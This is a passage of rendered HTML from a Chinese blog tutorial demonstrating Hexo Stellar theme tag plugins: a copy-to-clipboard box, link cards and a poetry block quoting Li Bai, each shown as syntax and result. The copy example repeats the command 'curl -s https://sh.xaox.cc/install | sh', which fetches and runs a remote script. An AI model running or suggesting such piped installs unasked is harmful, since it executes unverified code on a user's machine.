src="https://gcore.jsdelivr.net/gh/cdn-x/emoji/tieba/&#x6ED1;&#x7A3D;.png"></span><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="7-copy-&#x590D;&#x5236;&#x6587;&#x672C;">7. copy &#x590D;&#x5236;&#x6587;&#x672C;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">&#x5BF9;&#x4E8E;&#x5355;&#x884C;&#x5185;&#x5BB9;&#xFF0C;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#xA0;<span class="code">`copy`</span>&#xA0;&#x6807;&#x7B7E;&#x6765;&#x5B9E;&#x73B0;&#x590D;&#x5236;&#x529F;&#x80FD;</span><br><span class="line">{% copy xxx %}</span><br><span class="line"></span><br><span class="line">&#x8FD8;&#x53EF;&#x4EE5;&#x8BBE;&#x7F6E;&#xA0;<span class="code">`git:https`</span>&#xA0;&#x6216;&#x8005;&#xA0;<span class="code">`git:ssh`</span>&#xA0;&#x6216;&#x8005;&#xA0;<span class="code">`git:gh`</span>&#xA0;&#x6765;&#x5FEB;&#x901F;&#x653E;&#x7F6E;&#x4E00;&#x4E2A; git &#x4ED3;&#x5E93;&#x94FE;&#x63A5;&#xFF0C;&#x8FBE;&#x5230; Github &#x4E0A;&#x7684;&#x7ED3;&#x679C;</span><br><span class="line">{% copy git xaoxuu/hexo-theme-stellar %}</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">{% copy curl -s https://sh.xaox.cc/install | sh %}</span><br><span class="line">{% copy curl -s https://sh.xaox.cc/install | sh prefix:$ %}</span><br><span class="line">{% copy git:https xaoxuu.com/hexo-theme-stellar prefix:https %}</span><br><span class="line">{% copy git:ssh xaoxuu.com/hexo-theme-stellar prefix:ssh %}</span><br><span class="line">{% copy git:gh xaoxuu.com/hexo-theme-stellar %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin copy"><input class="copy-area" id="copy_5" value="curl -s https://sh.xaox.cc/install | sh"><button class="copy-btn" onclick="util.copy(&quot;copy_5&quot;,&quot;&#x590D;&#x5236;&#x6210;&#x529F;&quot;)"><svg class="icon copy-btn" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M5.75 1a.75.75 0 00-.75.75v3c0 .414.336.75.75.75h4.5a.75.75 0 00.75-.75v-3a.75.75 0 00-.75-.75h-4.5zm.75 3V2.5h3V4h-3zm-2.874-.467a.75.75 0 00-.752-1.298A1.75 1.75 0 002 3.75v9.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-9.5a1.75 1.75 0 00-.874-1.515.75.75 0 10-.752 1.298.25.25 0 01.126.217v9.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-9.5a.25.25 0 01.126-.217z"/></svg></button></div><div class="tag-plugin copy"><span>$</span><input class="copy-area" id="copy_6" value="curl -s https://sh.xaox.cc/install | sh"><button class="copy-btn" onclick="util.copy(&quot;copy_6&quot;,&quot;&#x590D;&#x5236;&#x6210;&#x529F;&quot;)"><svg class="icon copy-btn" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M5.75 1a.75.75 0 00-.75.75v3c0 .414.336.75.75.75h4.5a.75.75 0 00.75-.75v-3a.75.75 0 00-.75-.75h-4.5zm.75 3V2.5h3V4h-3zm-2.874-.467a.75.75 0 00-.752-1.298A1.75 1.75 0 002 3.75v9.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-9.5a1.75 1.75 0 00-.874-1.515.75.75 0 10-.752 1.298.25.25 0 01.126.217v9.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-9.5a.25.25 0 01.126-.217z"/></svg></button></div><div class="tag-plugin copy"><span>https</span><input class="copy-area" id="copy_7" value="https://github.com/xaoxuu.com/hexo-theme-stellar.git"><button class="copy-btn" onclick="util.copy(&quot;copy_7&quot;,&quot;&#x590D;&#x5236;&#x6210;&#x529F;&quot;)"><svg class="icon copy-btn" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M5.75 1a.75.75 0 00-.75.75v3c0 .414.336.75.75.75h4.5a.75.75 0 00.75-.75v-3a.75.75 0 00-.75-.75h-4.5zm.75 3V2.5h3V4h-3zm-2.874-.467a.75.75 0 00-.752-1.298A1.75 1.75 0 002 3.75v9.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-9.5a1.75 1.75 0 00-.874-1.515.75.75 0 10-.752 1.298.25.25 0 01.126.217v9.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-9.5a.25.25 0 01.126-.217z"/></svg></button></div><div class="tag-plugin copy"><span>ssh</span><input class="copy-area" id="copy_8" value="git@github.com:xaoxuu.com/hexo-theme-stellar.git"><button class="copy-btn" onclick="util.copy(&quot;copy_8&quot;,&quot;&#x590D;&#x5236;&#x6210;&#x529F;&quot;)"><svg class="icon copy-btn" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M5.75 1a.75.75 0 00-.75.75v3c0 .414.336.75.75.75h4.5a.75.75 0 00.75-.75v-3a.75.75 0 00-.75-.75h-4.5zm.75 3V2.5h3V4h-3zm-2.874-.467a.75.75 0 00-.752-1.298A1.75 1.75 0 002 3.75v9.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-9.5a1.75 1.75 0 00-.874-1.515.75.75 0 10-.752 1.298.25.25 0 01.126.217v9.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-9.5a.25.25 0 01.126-.217z"/></svg></button></div><div class="tag-plugin copy"><input class="copy-area" id="copy_9" value="gh repo clone xaoxuu.com/hexo-theme-stellar"><button class="copy-btn" onclick="util.copy(&quot;copy_9&quot;,&quot;&#x590D;&#x5236;&#x6210;&#x529F;&quot;)"><svg class="icon copy-btn" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M5.75 1a.75.75 0 00-.75.75v3c0 .414.336.75.75.75h4.5a.75.75 0 00.75-.75v-3a.75.75 0 00-.75-.75h-4.5zm.75 3V2.5h3V4h-3zm-2.874-.467a.75.75 0 00-.752-1.298A1.75 1.75 0 002 3.75v9.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-9.5a1.75 1.75 0 00-.874-1.515.75.75 0 10-.752 1.298.25.25 0 01.126.217v9.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-9.5a.25.25 0 01.126-.217z"/></svg></button></div><p>&#x6CE8;&#x610F;&#xFF1A;&#x8FD9;&#x4E2A;&#x8DDF;&#x4EE3;&#x7801;&#x5FEB;&#x6709;&#x70B9;&#x4E0D;&#x4E00;&#x6837;&#x3002;</p><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="8-link-&#x94FE;&#x63A5;&#x5361;&#x7247;">8. link &#x94FE;&#x63A5;&#x5361;&#x7247;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">{% link url [title] [icon:src] [desc:true/false] %}</span><br><span class="line">url: &#x94FE;&#x63A5;</span><br><span class="line">title: &#x53EF;&#x9009;&#xFF0C;&#x624B;&#x52A8;&#x8BBE;&#x7F6E;&#x6807;&#x9898;&#xFF08;&#x4E3A;&#x7A7A;&#x65F6;&#x4F1A;&#x81EA;&#x52A8;&#x6293;&#x53D6;&#x9875;&#x9762;&#x6807;&#x9898;&#xFF09;</span><br><span class="line">icon: &#x53EF;&#x9009;&#xFF0C;&#x624B;&#x52A8;&#x8BBE;&#x7F6E;&#x56FE;&#x6807;&#xFF08;&#x4E3A;&#x7A7A;&#x65F6;&#x4F1A;&#x81EA;&#x52A8;&#x6293;&#x53D6;&#x9875;&#x9762;&#x56FE;&#x6807;&#xFF09;</span><br><span class="line">desc: &#x53EF;&#x9009;&#xFF0C;&#x662F;&#x5426;&#x663E;&#x793A;&#x6458;&#x8981;&#x63CF;&#x8FF0;&#xFF0C;&#x4E3A; true &#x65F6;&#x5C06;&#x4F1A;&#x663E;&#x793A;&#x9875;&#x9762;&#x63CF;&#x8FF0;</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&#x4E0D;&#x5E26;&#x6458;&#x8981;&#x7684;&#x6837;&#x5F0F;&#xFF1A;</span><br><span class="line">{% link https://xaoxuu.com/blog/20221029/ %}</span><br><span class="line">&#x5E26;&#x6458;&#x8981;&#x7684;&#x6837;&#x5F0F;&#xFF1A;</span><br><span class="line">{% link https://xaoxuu.com/blog/20221029/ desc:true %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin quot"><p class="content" type="icon"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" d="M20 12a8 8 0 1 1-16 0a8 8 0 0 1 16 0" opacity=".5"/><path fill="currentColor" d="M17.712 5.453c1.047-.193 2.006-.259 2.797-.152c.77.103 1.536.393 1.956 1.064c.446.714.312 1.542-.012 2.258c-.33.728-.918 1.499-1.672 2.268c-1.516 1.547-3.836 3.226-6.597 4.697c-2.763 1.472-5.495 2.484-7.694 2.92c-1.095.217-2.098.299-2.923.201c-.8-.095-1.6-.383-2.032-1.075c-.47-.752-.296-1.63.07-2.379c.375-.768 1.032-1.586 1.872-2.403L4 12.416c0 .219.083.71.168 1.146c.045.23.09.444.123.596c-.652.666-1.098 1.263-1.339 1.756c-.277.567-.208.825-.145.925c.072.116.305.305.937.38c.609.073 1.44.018 2.455-.183c2.02-.4 4.613-1.351 7.28-2.772c2.667-1.42 4.85-3.015 6.23-4.423c.694-.707 1.15-1.334 1.377-1.836c.233-.515.167-.75.107-.844c-.07-.112-.289-.294-.883-.374c-.542-.072-1.272-.041-2.163.112L16.87 5.656c.338-.101.658-.17.842-.203"/></svg><span class="text">&#x4E0D;&#x5E26;&#x6458;&#x8981;&#x7684;&#x6837;&#x5F0F;</span><span class="empty"></span></p></div><div class="tag-plugin link dis-select"><a class="link-card plain" title href="https://xaoxuu.com/blog/20221029/" target="_blank" rel="external nofollow noopener noreferrer" cardlink autofill="title,icon"><div class="left"><span class="title">https://xaoxuu.com/blog/20221029/</span><span class="cap link footnote">https://xaoxuu.com/blog/20221029/</span></div><div class="right"><div class="lazy img" data-bg="https://gcore.jsdelivr.net/gh/cdn-x/placeholder@1.0.12/link/8f277b4ee0ecd.svg"></div></div></a></div><div class="tag-plugin quot"><p class="content" type="icon"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" d="M20 12a8 8 0 1 1-16 0a8 8 0 0 1 16 0" opacity=".5"/><path fill="currentColor" d="M17.712 5.453c1.047-.193 2.006-.259 2.797-.152c.77.103 1.536.393 1.956 1.064c.446.714.312 1.542-.012 2.258c-.33.728-.918 1.499-1.672 2.268c-1.516 1.547-3.836 3.226-6.597 4.697c-2.763 1.472-5.495 2.484-7.694 2.92c-1.095.217-2.098.299-2.923.201c-.8-.095-1.6-.383-2.032-1.075c-.47-.752-.296-1.63.07-2.379c.375-.768 1.032-1.586 1.872-2.403L4 12.416c0 .219.083.71.168 1.146c.045.23.09.444.123.596c-.652.666-1.098 1.263-1.339 1.756c-.277.567-.208.825-.145.925c.072.116.305.305.937.38c.609.073 1.44.018 2.455-.183c2.02-.4 4.613-1.351 7.28-2.772c2.667-1.42 4.85-3.015 6.23-4.423c.694-.707 1.15-1.334 1.377-1.836c.233-.515.167-.75.107-.844c-.07-.112-.289-.294-.883-.374c-.542-.072-1.272-.041-2.163.112L16.87 5.656c.338-.101.658-.17.842-.203"/></svg><span class="text">&#x5E26;&#x6458;&#x8981;&#x7684;&#x6837;&#x5F0F;</span><span class="empty"></span></p></div><div class="tag-plugin link dis-select"><a class="link-card rich" title href="https://xaoxuu.com/blog/20221029/" target="_blank" rel="external nofollow noopener noreferrer" cardlink autofill="title,icon,desc"><div class="top"><div class="lazy img" data-bg="https://gcore.jsdelivr.net/gh/cdn-x/placeholder@1.0.12/link/8f277b4ee0ecd.svg"></div><span class="cap link footnote">https://xaoxuu.com/blog/20221029/</span></div><div class="bottom"><span class="title">https://xaoxuu.com/blog/20221029/</span><span class="cap desc footnote"></span></div></a></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="9-poetry-&#x8BD7;&#x6B4C;">9. poetry &#x8BD7;&#x6B4C;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">{% poetry [title] [author:&#x4F5C;&#x8005;] [date:&#x65E5;&#x671F;] [footer:footer] %}</span><br><span class="line">line 1</span><br><span class="line">line 2</span><br><span class="line">line 3</span><br><span class="line">line 4</span><br><span class="line">{% endpoetry %}</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">{% poetry &#x9759;&#x591C;&#x601D; author:&#x674E;&#x767D; date:&#x516C;&#x5143;720&#x5E74;&#x5DE6;&#x53F3; footer:&#x8BD7;&#x8BCD;&#x8282;&#x9009; %}</span><br><span class="line">&#x5E8A;&#x524D;&#x660E;&#x6708;&#x5149;&#xFF0C;</span><br><span class="line">&#x7591;&#x662F;&#x5730;&#x4E0A;&#x971C;&#x3002;</span><br><span class="line">&#x4E3E;&#x5934;&#x671B;&#x660E;&#x6708;&#xFF0C;</span><br><span class="line">&#x4F4E;&#x5934;&#x601D;&#x6545;&#x4E61;&#x3002;</span><br><span class="line">{% endpoetry %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin poetry"><div class="content"><div class="title">&#x9759;&#x591C;&#x601D; 720 &#x5E74;&#x5DE6;&#x53F3;</div><div class="meta"><span>&#x674E;&#x767D;</span><span>&#x516C;&#x5143;</span></div><div class="body"><p>&#x5E8A;&#x524D;&#x660E;&#x6708;&#x5149;&#xFF0C;&#x7591;&#x662F;&#x5730;&#x4E0A;&#x971C;&#x3002;&#x4E3E;&#x5934;&#x671B;&#x660E;&#x6708;&#xFF0C;&#x4F4E;&#x5934;&#x601D;&#x6545;&#x4E61;&#x3002;</p></div><div class="footer">&#x8BD7;&#x8BCD;&#x8282;&#x9009;</div></div></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" 